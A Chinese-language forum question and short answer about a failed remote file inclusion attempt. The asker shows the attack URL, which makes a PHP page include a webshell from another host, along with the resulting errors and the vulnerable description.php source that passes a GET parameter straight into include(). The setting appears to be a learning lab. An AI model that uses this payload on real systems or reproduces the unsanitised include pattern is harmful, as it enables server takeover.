RFI 无法正常工作，如何打开外壳？

Question

当我试图对给我的网页进行后门以查找特定文件时，在请求 shell 时，我在页面上收到以下警告，并且没有给出其他信息。应该弹出一个外壳吗？我对 RFI 有点陌生，这是我第一次使用它。

我使用的链接是：

http://10.102.x.x/description.php?page=http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php

搜索时的显示是：

Warning: include(http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening 'http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5

description.php 看起来像这样：

<?php
$image_name = $_GET['page'];

// Get the description from another file
include($image_name);

?>

有什么问题？我有点卡住了。

我应该创建一个 HTTP 服务器来推送我的 shell 吗？我已经阅读了一些关于此的内容，但不确定这意味着什么

即使是文章的链接也值得赞赏

Answer 1

我不知道 php 脚本的外观如何，您尝试在其中包含远程页面，但它必须类似于：

$incfile = $_REQUEST["file"]; include($incfile.".php");